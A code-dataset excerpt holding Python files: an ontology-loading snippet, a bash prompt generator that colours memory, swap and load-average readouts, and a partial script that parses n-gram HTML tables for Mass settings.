logger\nlogger.info(\"Reading pro ontology\")\npro_graph = obonet.read_obo(\"../../data/input/ontology/pro_reasoned.obo\")\nlogger.info(\"Done reading pro ontology\")\n\n\n# %%\n# show the number of nodes\nlogger.info(f\"Number of nodes : {len(pro_graph.nodes())}\")\nlogger.info(f\"Number of edges : {len(pro_graph.edges())}\")\nnodes = list(pro_graph.nodes())\n", "sub_path": "src/exploratory/pro_ontology.py", "file_name": "pro_ontology.py", "file_ext": "py", "file_size_in_byte": 380, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "loguru.logger.info", "line_number": 4, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 4, "usage_type": "name"}, {"api_name": "obonet.read_obo", "line_number": 5, "usage_type": "call"}, {"api_name": "loguru.logger.info", "line_number": 6, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 6, "usage_type": "name"}, {"api_name": "loguru.logger.info", "line_number": 11, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 11, "usage_type": "name"}, {"api_name": "loguru.logger.info", "line_number": 12, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 12, "usage_type": "name"}]} {"seq_id": "104176523", "text": "#!/usr/bin/env python3\n\nimport getpass\nimport multiprocessing\nimport os\nimport pwd\nimport socket\n\nimport psutil\n\nfrom prompter import ansi\nfrom prompter import colors\nfrom prompter import config\n\nUSERDATA = pwd.getpwnam(getpass.getuser())\nXTERM = 'TERM' in os.environ and os.environ['TERM'].casefold() == 'xterm'\nHOSTNAME = socket.gethostname()\nSUPER = USERDATA.pw_name in config.settings.user.super\n\nUSER = r'\\u'\nAT = '@'\nHOST = r'\\h'\nCOLON = ':'\nPROMPT_SYMBOL = r'\\$'\nMEM_SEP = '/'\nMEM_UNITS = 'MB'\nSWAP_SEP = '/'\nSWAP_UNITS = 'MB'\nMEM_SYS_SEP = '\\t'\nSYS_SEP = ' '\nPROCS_SEP = '/'\nDIRNAME = ''.join([\n r'$(',\n '; '.join([\n r'EC=$?',\n r'DIRNAME=${PWD%/*}',\n r'if [[ $DIRNAME != \"/\" && $PWD != $HOME ]]',\n r'then echo ${DIRNAME/$HOME/\"~\"}',\n r'else echo \"\"',\n r'fi',\n r'exit $EC',\n ]),\n r')'\n])\nBASENAME = ''.join([\n r'$(',\n '; '.join([\n r'EC=$?',\n r'if [[ $PWD == $HOME || $PWD == \"/\" ]]',\n r'then echo \"\\W\"',\n r'else echo \"/\\W\"',\n r'fi',\n r'exit $EC',\n ]),\n r')'\n])\nTEST_FORMAT = ''.join([\n '$(',\n '; '.join([\n r'EC=$?',\n r'if [[ $EC -eq 0 ]]',\n 'then echo \"{color_good}\"',\n 'else echo \"{color_bad}\"',\n r'fi',\n r'exit $EC',\n ]),\n ')',\n])\n\nMEM_FORMAT = ''.join([\n '$(',\n '; '.join([\n r'EC=$?',\n '''MEM_FREE=$(free -k | grep '^Mem:' | awk '{print_line}')''',\n '{color_range}',\n r'exit $EC',\n ]),\n ')',\n])\nMEM_FREE = ''.join([\n '$(',\n '; '.join([\n r'EC=$?',\n '''echo \"$(free -m | grep '^Mem:' | awk '{print $4}')\"''',\n r'exit $EC',\n ]),\n ')',\n])\nMEM_TOTAL = ''.join([\n '$(',\n '; '.join([\n r'EC=$?',\n '''echo \"$(free -m | grep '^Mem:' | awk '{print $2}')\"''',\n r'exit $EC',\n ]),\n ')',\n])\n\nSWAP_FORMAT = ''.join([\n '$(',\n '; '.join([\n r'EC=$?',\n '''SWAP_FREE=$(free -k | grep '^Swap:' | awk '{print_line}')''',\n '{color_range}',\n r'exit $EC',\n ]),\n ')',\n])\nSWAP_FREE = ''.join([\n '$(',\n '; '.join([\n r'EC=$?',\n '''echo \"$(free -m | grep '^Swap:' | awk '{print $4}')\"''',\n r'exit $EC',\n ]),\n ')',\n])\nSWAP_TOTAL = ''.join([\n '$(',\n '; '.join([\n r'EC=$?',\n '''echo \"$(free -m | grep '^Swap:' | awk '{print $2}')\"''',\n r'exit $EC',\n ]),\n ')',\n])\n\nLOAD_1M_FORMAT = ''.join([\n '$(',\n '; '.join([\n r'EC=$?',\n ''.join([\n 'LOADAVG_1=$(',\n ' | '.join(['cat /proc/loadavg', \"cut -d ' ' -f 1\"]),\n ')',\n ]),\n '{color_range}',\n r'exit $EC',\n ]),\n ')',\n])\nLOAD_1M = ''.join([\n '$(',\n '; '.join([\n r'EC=$?',\n ''.join([\n 'echo \"$(',\n ' | '.join(['cat /proc/loadavg', \"cut -d ' ' -f 1\"]),\n ')\"',\n ]),\n r'exit $EC',\n ]),\n ')',\n])\nLOAD_5M_FORMAT = ''.join([\n '$(',\n '; '.join([\n r'EC=$?',\n ''.join([\n 'LOADAVG_5=$(',\n ' | '.join(['cat /proc/loadavg', \"cut -d ' ' -f 2\"]),\n ')',\n ]),\n '{color_range}',\n r'exit $EC',\n ]),\n ')',\n])\nLOAD_5M = ''.join([\n '$(',\n '; '.join([\n r'EC=$?',\n ''.join([\n 'echo \"$(',\n ' | '.join(['cat /proc/loadavg', \"cut -d ' ' -f 2\"]),\n ')\"',\n ]),\n r'exit $EC',\n ]),\n ')',\n])\nLOAD_15M_FORMAT = ''.join([\n '$(',\n '; '.join([\n r'EC=$?',\n ''.join([\n 'LOADAVG_15=$(',\n ' | '.join(['cat /proc/loadavg', \"cut -d ' ' -f 3\"]),\n ')',\n ]),\n '{color_range}',\n r'exit $EC',\n ]),\n ')',\n])\nLOAD_15M = ''.join([\n '$(',\n '; '.join([\n r'EC=$?',\n ''.join([\n 'echo \"$(',\n ' | '.join(['cat /proc/loadavg', \"cut -d ' ' -f 3\"]),\n ')\"',\n ]),\n r'exit $EC',\n ]),\n ')',\n])\nCUR_PROCS = ''.join([\n '$(',\n '; '.join([\n r'EC=$?',\n ''.join([\n 'echo \"$(',\n ' | '.join(['cat /proc/loadavg',\n \"cut -d ' ' -f 4\", \"cut -d '/' -f 1\"]),\n ')\"',\n ]),\n r'exit $EC',\n ]),\n ')',\n])\nTTL_PROCS = ''.join([\n '$(',\n '; '.join([\n r'EC=$?',\n ''.join([\n 'echo \"$(',\n ' | '.join(['cat /proc/loadavg',\n \"cut -d ' ' -f 4\", \"cut -d '/' -f 2\"]),\n ')\"',\n ]),\n r'exit $EC',\n ]),\n ')',\n])\nLAST_PID = ''.join([\n '$(',\n '; '.join([\n r'EC=$?',\n ''.join([\n 'echo \"$(',\n ' | '.join(['cat /proc/loadavg', \"cut -d ' ' -f 5\"]),\n ')\"',\n ]),\n r'exit $EC',\n ]),\n ')',\n])\n\n\ndef get_fore_color(color):\n if XTERM:\n seq = ansi.seq.ColorText\n else:\n seq = ansi.seq.AnsiColorText\n\n return seq(color)\n\n\ndef get_back_color(color):\n if XTERM:\n seq = ansi.seq.ColorBack\n else:\n seq = ansi.seq.AnsiColorBack\n\n return seq(color)\n\n\ndef get_color(fore=None, back=None):\n items = []\n\n if fore is not None:\n items.append(get_fore_color(fore))\n\n if back is not None:\n items.append(get_back_color(back))\n\n if items:\n return sum(items)\n else:\n return ''\n\n\ndef get_color_from_config(value):\n if isinstance(value, config.Base): # Is a defined color.\n if 'cube6' in value:\n return colors.from_cube6(**value.cube6)\n elif 'cube5' in value:\n return colors.from_cube5(**value.cube5)\n elif 'cube6_xterm' in value:\n return colors.from_cube6_xterm(**value.cube6_xterm)\n elif 'ansi' in value:\n return colors.from_ansi(**value.ansi)\n elif 'xterm' in value:\n return colors.from_xterm(value.xterm)\n elif 'rgb' in value:\n return colors.from_rgb(**value.rgb)\n elif 'hsv' in value:\n return colors.from_hsv(**value.hsv)\n elif 'hsl' in value:\n return colors.from_hsl(**value.hsl)\n elif 'grayscale' in value:\n return colors.from_grayscale(value.grayscale)\n else:\n return colors.Black\n\n else: # Specifies a named color\n return colors[value]\n\n\ndef gen_pct_range_gradient(range):\n ttl_keys = sorted(list(range.keys()))\n key_range = zip(ttl_keys[:-1], ttl_keys[1:])\n\n last_high = 0\n\n used = set()\n\n first = True\n\n for low, high in key_range:\n low_color = range[low]\n high_color = range[high]\n if not isinstance(range[low], int) or not isinstance(range[high], int):\n low_color = get_color_from_config(low_color)\n high_color = get_color_from_config(high_color)\n\n if XTERM:\n color_gradient = list(\n low_color.cube6_xterm.gen_hsv_gradient(high_color)\n )\n else:\n color_gradient = list(\n low_color.ansi.gen_hsv_gradient(high_color)\n )\n\n else:\n low_color = colors.from_grayscale(low_color)\n high_color = colors.from_grayscale(high_color)\n\n if XTERM:\n color_gradient = list(\n low_color.xterm.gen_grayscale_gradient(high_color)\n )\n else:\n color_gradient = list(\n low_color.ansi.gen_grayscale_gradient(high_color)\n )\n\n if not first:\n color_gradient = color_gradient[1:]\n\n last_pct = 0\n\n for ndx, color in enumerate(color_gradient):\n pct = last_high + (\n (ndx + (0 if first else 1)) * (\n (high - low) / (len(color_gradient) - (1 if first else 0))\n ) / 100\n )\n\n if hasattr(color, 'rgb'):\n color = color.rgb\n\n if pct not in used:\n last_pct = pct\n used.add(pct)\n\n yield pct, color\n\n last_high = last_pct\n\n first = False\n\n\ndef gen_mem_range_gradient():\n yield from (\n (\n int((psutil.virtual_memory().total / 1024) * pct + 0.5),\n color\n )\n for pct, color in gen_pct_range_gradient(config.settings.memory.range)\n )\n\n\ndef get_mem_free_color_range():\n return '; '.join([\n '; el'.join(\n '; '.join([\n 'if [[ $MEM_FREE -ge {threshold} ]]',\n 'then echo \"{color}\"'\n ]).format(\n threshold=threshold,\n color=get_fore_color(color)\n )\n for threshold, color in reversed(list(gen_mem_range_gradient()))\n ),\n 'fi'\n ])\n\n\ndef gen_swap_range_gradient():\n yield from (\n (\n int((psutil.swap_memory().total / 1024) * pct + 0.5),\n color\n )\n for pct, color in gen_pct_range_gradient(config.settings.swap.range)\n )\n\n\ndef get_swap_free_color_range():\n return '; '.join([\n '; el'.join(\n '; '.join([\n 'if [[ $SWAP_FREE -ge {threshold} ]]',\n 'then echo \"{color}\"'\n ]).format(\n threshold=threshold,\n color=get_fore_color(color)\n )\n for threshold, color in reversed(list(gen_swap_range_gradient()))\n ),\n 'fi'\n ])\n\n\ndef gen_load_range_gradient(name):\n yield from (\n (multiprocessing.cpu_count() * (1.0 - pct), color)\n for pct, color in gen_pct_range_gradient(\n config.settings.sys.load[name].back\n )\n )\n\n\ndef get_load_avg_color_range(mins):\n name = 'avg_{mins}m'.format(mins=mins)\n return '; '.join([\n '; el'.join(\n '; '.join([\n ' '.join([\n 'if',\n '[[',\n ''.join([\n '$(',\n ' | '.join(['echo \"$LOADAVG_{mins}>={threshold}\"',\n 'bc -l']),\n ')'\n ]),\n '==',\n '1',\n ']]'\n ]),\n 'then echo \"{back_color}\"'\n ]).format(\n mins=mins,\n threshold=threshold,\n back_color=get_back_color(color)\n )\n for threshold, color in gen_load_range_gradient(name)\n ),\n 'fi'\n ])\n\n\nclass Prompt(config.Base):\n def __init__(self):\n self.bad_names |= {\n 'color_wrap',\n 'non_printing',\n 'wrap',\n }\n\n self.register_attr(\n 'usercolor',\n lambda: (\n get_color_from_config(\n config.settings.user.super[USERDATA.pw_name]\n )\n if SUPER\n else get_color_from_config(\n config.settings.user.normal[USERDATA.pw_name]\n )\n ),\n 'The color to use for the current user'\n )\n\n self.register_attr(\n 'at_color',\n lambda: get_color_from_config(config.settings.at_symbol),\n 'The color to use for the at symbol'\n )\n\n self.register_attr(\n 'hostcolor',\n lambda: (\n get_color_from_config(\n config.settings.server[HOSTNAME].super\n )\n if SUPER\n else get_color_from_config(\n config.settings.server[HOSTNAME].normal\n )\n ),\n 'The color to use for the hostname'\n )\n\n self.register_attr(\n 'colon_color',\n lambda: get_color_from_config(config.settings.colon),\n 'The color to use for the colon symbol'\n )\n\n self.register_attr(\n 'dirname_color',\n lambda: get_color_from_config(config.settings.dirname),\n 'The color to use for the current dirname'\n )\n\n self.register_attr(\n 'basename_color',\n lambda: get_color_from_config(config.settings.basename),\n 'The color to use for the current basename'\n )\n\n self.register_attr(\n 'good_fore_color',\n lambda: get_color_from_config(config.settings.test.good.fore),\n 'The text color to use when the previous command succeeded.'\n )\n\n self.register_attr(\n 'good_back_color',\n lambda: get_color_from_config(config.settings.test.good.back),\n 'The back color to use when the previous command succeeded.'\n )\n\n self.register_attr(\n 'bad_fore_color',\n lambda: get_color_from_config(config.settings.test.bad.fore),\n 'The text color to use when the previous command failed.'\n )\n\n self.register_attr(\n 'bad_back_color',\n lambda: get_color_from_config(config.settings.test.bad.back),\n 'The back color to use when the previous command failed.'\n )\n\n self.register_attr(\n 'test_good',\n lambda: get_color(self.good_fore_color, self.good_back_color),\n ' '.join([\n 'The complete color configuration for when',\n 'the previous command succeeded'\n ])\n )\n\n self.register_attr(\n 'test_bad',\n lambda: get_color(self.bad_fore_color, self.bad_back_color),\n ' '.join([\n 'The complete color configuration for when',\n 'the previous command failed'\n ])\n )\n\n self.register_attr(\n 'test_color',\n lambda: TEST_FORMAT.format(\n color_good=self.test_good,\n color_bad=self.test_bad\n ),\n 'Returns the complete color setting for previous command test'\n )\n\n self.register_attr(\n 'test',\n lambda: ''.join([\n self.wrap(\n PROMPT_SYMBOL,\n self.test_color\n ),\n ' '\n ])\n )\n\n self.register_attr(\n 'reset_colors',\n lambda: (\n ansi.seq.ResetColorText()\n + ansi.seq.ResetColorBack()\n + ansi.seq.Reset()\n )\n )\n\n self.register_attr(\n 'user_host',\n lambda: (\n self.color_wrap(\n ''.join([USER, AT, HOST]),\n self.usercolor,\n self.hostcolor\n )\n if SUPER\n else ''.join([\n self.color_wrap(USER, self.usercolor),\n self.color_wrap(AT, self.at_color),\n self.color_wrap(HOST, self.hostcolor),\n ])\n ),\n 'Gets the username@hostname component for the prompt.'\n )\n\n self.register_attr(\n 'colon',\n lambda: self.wrap(\n COLON,\n ansi.seq.Bold() + get_color(self.colon_color)\n ),\n 'Gets the colon component for the prompt.'\n )\n\n self.register_attr(\n 'full_path',\n lambda: ''.join([\n self.color_wrap(DIRNAME, self.dirname_color),\n self.wrap(\n BASENAME,\n ansi.seq.Bold() + get_color(self.basename_color)\n ),\n ])\n )\n\n self.register_attr(\n 'user_host_path',\n lambda: ''.join([\n self.user_host,\n self.colon,\n self.full_path,\n ]),\n 'Gets the username@hostname:/path component for the prompt.'\n )\n\n self.register_attr(\n 'mem_free',\n lambda: self.wrap(\n MEM_FREE,\n MEM_FORMAT.format(\n print_line='{print $4}',\n color_range=get_mem_free_color_range()\n )\n ),\n 'Gets the memory free component for the prompt.'\n )\n\n self.register_attr(\n 'mem_total',\n lambda: self.color_wrap(\n MEM_TOTAL,\n get_color_from_config(config.settings.memory.total)\n ),\n 'Gets the memory total component for the prompt.'\n )\n\n self.register_attr(\n 'mem_sep',\n lambda: self.color_wrap(\n MEM_SEP,\n get_color_from_config(config.settings.memory.sep)\n ),\n 'Gets the separator for memory components for the prompt.'\n )\n\n self.register_attr(\n 'mem_units',\n lambda: self.color_wrap(\n MEM_UNITS,\n get_color_from_config(config.settings.memory.units)\n ),\n 'Gets the units for memory components for the prompt.'\n )\n\n self.register_attr(\n 'memory',\n lambda: ''.join([\n self.mem_free,\n self.mem_sep,\n self.mem_total,\n self.mem_units,\n ]),\n 'Gets the memory free/total component for the prompt.'\n )\n\n self.register_attr(\n 'swap_free',\n lambda: self.wrap(\n SWAP_FREE,\n SWAP_FORMAT.format(\n print_line='{print $4}',\n color_range=get_swap_free_color_range()\n )\n ),\n 'Gets the swap free component for the prompt.'\n )\n\n self.register_attr(\n 'swap_total',\n lambda: self.color_wrap(\n SWAP_TOTAL,\n get_color_from_config(config.settings.swap.total)\n ),\n 'Gets the swap total component for the prompt.'\n )\n\n self.register_attr(\n 'swap_sep',\n lambda: self.color_wrap(\n SWAP_SEP,\n get_color_from_config(config.settings.swap.sep)\n ),\n 'Gets the separator for swap components for the prompt.'\n )\n\n self.register_attr(\n 'swap_units',\n lambda: self.color_wrap(\n SWAP_UNITS,\n get_color_from_config(config.settings.swap.units)\n ),\n 'Gets the units for swap components for the prompt.'\n )\n\n self.register_attr(\n 'swap',\n lambda: ''.join([\n self.swap_free,\n self.swap_sep,\n self.swap_total,\n self.swap_units,\n ]),\n 'Gets the swap free/total component for the prompt.'\n )\n\n self.register_attr(\n 'mem_swap',\n lambda: ' '.join([\n self.memory,\n self.swap,\n ]),\n 'Gets the combined memory & swap components for the prompt.'\n )\n\n self.register_attr(\n 'load1',\n lambda: ' '.join([\n self.wrap(\n ' ',\n LOAD_1M_FORMAT.format(\n color_range=get_load_avg_color_range(1)\n )\n ),\n self.color_wrap(\n LOAD_1M,\n get_color_from_config(\n config.settings.sys.load['avg_1m'].fore\n )\n ),\n ]),\n 'Gets the Avg Load 1m component for the prompt.'\n )\n\n self.register_attr(\n 'load5',\n lambda: ' '.join([\n self.wrap(\n ' ',\n LOAD_5M_FORMAT.format(\n color_range=get_load_avg_color_range(5)\n )\n ),\n self.color_wrap(\n LOAD_5M,\n get_color_from_config(\n config.settings.sys.load['avg_5m'].fore\n )\n ),\n ]),\n 'Gets the Avg Load 5m component for the prompt.'\n )\n\n self.register_attr(\n 'load15',\n lambda: ' '.join([\n self.wrap(\n ' ',\n LOAD_15M_FORMAT.format(\n color_range=get_load_avg_color_range(15)\n )\n ),\n self.color_wrap(\n LOAD_15M,\n get_color_from_config(\n config.settings.sys.load['avg_15m'].fore\n )\n ),\n ]),\n 'Gets the Avg Load 15m component for the prompt.'\n )\n\n self.register_attr(\n 'load_avg',\n lambda: SYS_SEP.join([\n self.load1,\n self.load5,\n self.load15\n ]),\n 'Gets the combined Avg Load component for the prompt.'\n )\n\n self.register_attr(\n 'cur_procs',\n lambda: self.color_wrap(\n CUR_PROCS,\n get_color_from_config(config.settings.sys.procs.current)\n ),\n 'Gets the current processes component for the prompt.'\n )\n\n self.register_attr(\n 'ttl_procs',\n lambda: self.color_wrap(\n TTL_PROCS,\n get_color_from_config(config.settings.sys.procs.total)\n ),\n 'Gets the total processes component for the prompt.'\n )\n\n self.register_attr(\n 'sep_procs',\n lambda: self.color_wrap(\n PROCS_SEP,\n get_color_from_config(config.settings.sys.procs.sep)\n ),\n 'Gets the separator for processes components for the prompt.'\n )\n\n self.register_attr(\n 'procs',\n lambda: ''.join([\n self.cur_procs,\n self.sep_procs,\n self.ttl_procs\n ]),\n 'Gets the combined processes component for the prompt.'\n )\n\n self.register_attr(\n 'last_pid',\n lambda: self.color_wrap(\n LAST_PID,\n get_color_from_config(config.settings.sys.last_pid)\n ),\n 'Gets the last PID component for the prompt.'\n )\n\n self.register_attr(\n 'sys',\n lambda: SYS_SEP.join([\n self.load_avg,\n self.procs,\n self.last_pid,\n ]),\n 'Gets the combined system information component for the prompt.'\n )\n\n self.register_attr(\n 'mem_sys',\n lambda: MEM_SYS_SEP.join([\n self.mem_swap,\n self.sys\n ]),\n 'Gets the memory & system information component for the prompt.'\n )\n\n self.register_attr(\n 'prompt',\n lambda: '\\n'.join([\n self.mem_sys,\n self.user_host_path,\n self.test\n ]).replace('\\033', r'\\e'),\n 'Gets the complete prompt.'\n )\n\n def wrap(self, text, start, end=None):\n if end is None:\n end = self.reset_colors\n\n return ''.join([\n self.non_printing(start),\n text,\n self.non_printing(end)\n ])\n\n def color_wrap(self, text, fore=None, back=None):\n return self.wrap(text, get_color(fore=fore, back=back))\n\n @staticmethod\n def non_printing(sequence):\n return ''.join(['\\\\[', str(sequence), '\\\\]'])\n\n @classmethod\n def get_prompt(cls):\n prompt = cls()\n\n print(prompt.prompt)\n\n\nif __name__ == '__main__':\n Prompt.get_prompt()\n", "sub_path": "prompter/make_prompt.py", "file_name": "make_prompt.py", "file_ext": "py", "file_size_in_byte": 23819, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pwd.getpwnam", "line_number": 15, "usage_type": "call"}, {"api_name": "getpass.getuser", "line_number": 15, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 16, "usage_type": "attribute"}, {"api_name": "socket.gethostname", "line_number": 17, "usage_type": "call"}, {"api_name": "prompter.config.settings", "line_number": 18, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 18, "usage_type": "name"}, {"api_name": "prompter.ansi.seq", "line_number": 254, "usage_type": "attribute"}, {"api_name": "prompter.ansi", "line_number": 254, "usage_type": "name"}, {"api_name": "prompter.ansi.seq", "line_number": 256, "usage_type": "attribute"}, {"api_name": "prompter.ansi", "line_number": 256, "usage_type": "name"}, {"api_name": "prompter.ansi.seq", "line_number": 263, "usage_type": "attribute"}, {"api_name": "prompter.ansi", "line_number": 263, "usage_type": "name"}, {"api_name": "prompter.ansi.seq", "line_number": 265, "usage_type": "attribute"}, {"api_name": "prompter.ansi", "line_number": 265, "usage_type": "name"}, {"api_name": "prompter.config.Base", "line_number": 286, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 286, "usage_type": "name"}, {"api_name": "prompter.colors.from_cube6", "line_number": 288, "usage_type": "call"}, {"api_name": "prompter.colors", "line_number": 288, "usage_type": "name"}, {"api_name": "prompter.colors.from_cube5", "line_number": 290, "usage_type": "call"}, {"api_name": "prompter.colors", "line_number": 290, "usage_type": "name"}, {"api_name": "prompter.colors.from_cube6_xterm", "line_number": 292, "usage_type": "call"}, {"api_name": "prompter.colors", "line_number": 292, "usage_type": "name"}, {"api_name": "prompter.colors.from_ansi", "line_number": 294, "usage_type": "call"}, {"api_name": "prompter.colors", "line_number": 294, "usage_type": "name"}, {"api_name": "prompter.colors.from_xterm", "line_number": 296, "usage_type": "call"}, {"api_name": "prompter.colors", "line_number": 296, "usage_type": "name"}, {"api_name": "prompter.colors.from_rgb", "line_number": 298, "usage_type": "call"}, {"api_name": "prompter.colors", "line_number": 298, "usage_type": "name"}, {"api_name": "prompter.colors.from_hsv", "line_number": 300, "usage_type": "call"}, {"api_name": "prompter.colors", "line_number": 300, "usage_type": "name"}, {"api_name": "prompter.colors.from_hsl", "line_number": 302, "usage_type": "call"}, {"api_name": "prompter.colors", "line_number": 302, "usage_type": "name"}, {"api_name": "prompter.colors.from_grayscale", "line_number": 304, "usage_type": "call"}, {"api_name": "prompter.colors", "line_number": 304, "usage_type": "name"}, {"api_name": "prompter.colors.Black", "line_number": 306, "usage_type": "attribute"}, {"api_name": "prompter.colors", "line_number": 306, "usage_type": "name"}, {"api_name": "prompter.colors", "line_number": 309, "usage_type": "name"}, {"api_name": "prompter.colors.from_grayscale", "line_number": 339, "usage_type": "call"}, {"api_name": "prompter.colors", "line_number": 339, "usage_type": "name"}, {"api_name": "prompter.colors.from_grayscale", "line_number": 340, "usage_type": "call"}, {"api_name": "prompter.colors", "line_number": 340, "usage_type": "name"}, {"api_name": "psutil.virtual_memory", "line_number": 380, "usage_type": "call"}, {"api_name": "prompter.config.settings", "line_number": 383, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 383, "usage_type": "name"}, {"api_name": "psutil.swap_memory", "line_number": 406, "usage_type": "call"}, {"api_name": "prompter.config.settings", "line_number": 409, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 409, "usage_type": "name"}, {"api_name": "multiprocessing.cpu_count", "line_number": 431, "usage_type": "call"}, {"api_name": "prompter.config.settings", "line_number": 433, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 433, "usage_type": "name"}, {"api_name": "prompter.config.Base", "line_number": 468, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 468, "usage_type": "name"}, {"api_name": "prompter.config.settings", "line_number": 480, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 480, "usage_type": "name"}, {"api_name": "prompter.config.settings", "line_number": 484, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 484, "usage_type": "name"}, {"api_name": "prompter.config.settings", "line_number": 492, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 492, "usage_type": "name"}, {"api_name": "prompter.config.settings", "line_number": 500, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 500, "usage_type": "name"}, {"api_name": "prompter.config.settings", "line_number": 504, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 504, "usage_type": "name"}, {"api_name": "prompter.config.settings", "line_number": 512, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 512, "usage_type": "name"}, {"api_name": "prompter.config.settings", "line_number": 518, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 518, "usage_type": "name"}, {"api_name": "prompter.config.settings", "line_number": 524, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 524, "usage_type": "name"}, {"api_name": "prompter.config.settings", "line_number": 530, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 530, "usage_type": "name"}, {"api_name": "prompter.config.settings", "line_number": 536, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 536, "usage_type": "name"}, {"api_name": "prompter.config.settings", "line_number": 542, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 542, "usage_type": "name"}, {"api_name": "prompter.config.settings", "line_number": 548, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 548, "usage_type": "name"}, {"api_name": "prompter.ansi.seq.ResetColorText", "line_number": 593, "usage_type": "call"}, {"api_name": "prompter.ansi.seq", "line_number": 593, "usage_type": "attribute"}, {"api_name": "prompter.ansi", "line_number": 593, "usage_type": "name"}, {"api_name": "prompter.ansi.seq.ResetColorBack", "line_number": 594, "usage_type": "call"}, {"api_name": "prompter.ansi.seq", "line_number": 594, "usage_type": "attribute"}, {"api_name": "prompter.ansi", "line_number": 594, "usage_type": "name"}, {"api_name": "prompter.ansi.seq.Reset", "line_number": 595, "usage_type": "call"}, {"api_name": "prompter.ansi.seq", "line_number": 595, "usage_type": "attribute"}, {"api_name": "prompter.ansi", "line_number": 595, "usage_type": "name"}, {"api_name": "prompter.ansi.seq.Bold", "line_number": 621, "usage_type": "call"}, {"api_name": "prompter.ansi.seq", "line_number": 621, "usage_type": "attribute"}, {"api_name": "prompter.ansi", "line_number": 621, "usage_type": "name"}, {"api_name": "prompter.ansi.seq.Bold", "line_number": 632, "usage_type": "call"}, {"api_name": "prompter.ansi.seq", "line_number": 632, "usage_type": "attribute"}, {"api_name": "prompter.ansi", "line_number": 632, "usage_type": "name"}, {"api_name": "prompter.config.settings", "line_number": 663, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 663, "usage_type": "name"}, {"api_name": "prompter.config.settings", "line_number": 672, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 672, "usage_type": "name"}, {"api_name": "prompter.config.settings", "line_number": 681, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 681, "usage_type": "name"}, {"api_name": "prompter.config.settings", "line_number": 713, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 713, "usage_type": "name"}, {"api_name": "prompter.config.settings", "line_number": 722, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 722, "usage_type": "name"}, {"api_name": "prompter.config.settings", "line_number": 731, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 731, "usage_type": "name"}, {"api_name": "prompter.config.settings", "line_number": 768, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 768, "usage_type": "name"}, {"api_name": "prompter.config.settings", "line_number": 787, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 787, "usage_type": "name"}, {"api_name": "prompter.config.settings", "line_number": 806, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 806, "usage_type": "name"}, {"api_name": "prompter.config.settings", "line_number": 827, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 827, "usage_type": "name"}, {"api_name": "prompter.config.settings", "line_number": 836, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 836, "usage_type": "name"}, {"api_name": "prompter.config.settings", "line_number": 845, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 845, "usage_type": "name"}, {"api_name": "prompter.config.settings", "line_number": 864, "usage_type": "attribute"}, {"api_name": "prompter.config", "line_number": 864, "usage_type": "name"}]} {"seq_id": "321872754", "text": "import glob, re, itertools\n\nclass Summarize:\n def __init__(self, dirname):\n self.dirname = dirname\n self.ngramlist = [4,15]\n self.Missae = {}\n self.nGramObject = {}\n self.highestPos = 100\n\n def get_all_mfiles(self):\n objects = glob.glob(self.dirname + \"/missa*\")\n objects.sort()\n for n in self.ngramlist:\n self.Missae[n] = {}\n for objectname in objects:\n missanamesearch = re.search(\"\\/missa(\\d+)\",objectname)\n missaname = missanamesearch.group(1)\n self.Missae[n][missaname] = []\n path = objectname + \"/ngram/m\"+str(n)+\".html\"\n innerobjects = glob.glob(path)\n innerobjects.sort()\n for objectnames in innerobjects:\n\n self.Missae[n][missaname].append(objectnames)\n if len(self.Missae[n][missaname]) == 0:\n del self.Missae[n][missaname]\n\n def get_ngram_object(self):\n self.nGramObject = {}\n for n in self.Missae:\n self.nGramObject[n] = {}\n print(\"N:\", str(n))\n for m in self.Missae[n]:\n print(\"Read File\")\n filetext = str(open(self.dirname + str(self.Missae[n][m][0])).readlines())\n print(self.Missae[n][m][0])\n for ngraminput, value, pos in re.findall(\"<tr><td>([^\\/]*?)<\\/td><td>(\\d+?)<\\/td><td><ul>(.*?)<\\/ul><\\/td><\\/tr>\",filetext,re.MULTILINE):\n positions = []\n ngramsearch = re.search(\"(\\w): (.*)\",ngraminput)\n if ngramsearch == None:\n continue\n startpitch = ngramsearch.group(1)\n ngram = ngramsearch.group(2)\n for val, valtwo, mov in re.findall(\"(\\d+):(\\d+) \\((.*?)\\)\",pos,re.MULTILINE):\n posob = {}\n posob[\"start-measure\"] = int(val)\n posob[\"end-measure\"] = int(valtwo)\n posob[\"parent\"] = mov+\")(\"+m\n positions.append(posob)\n 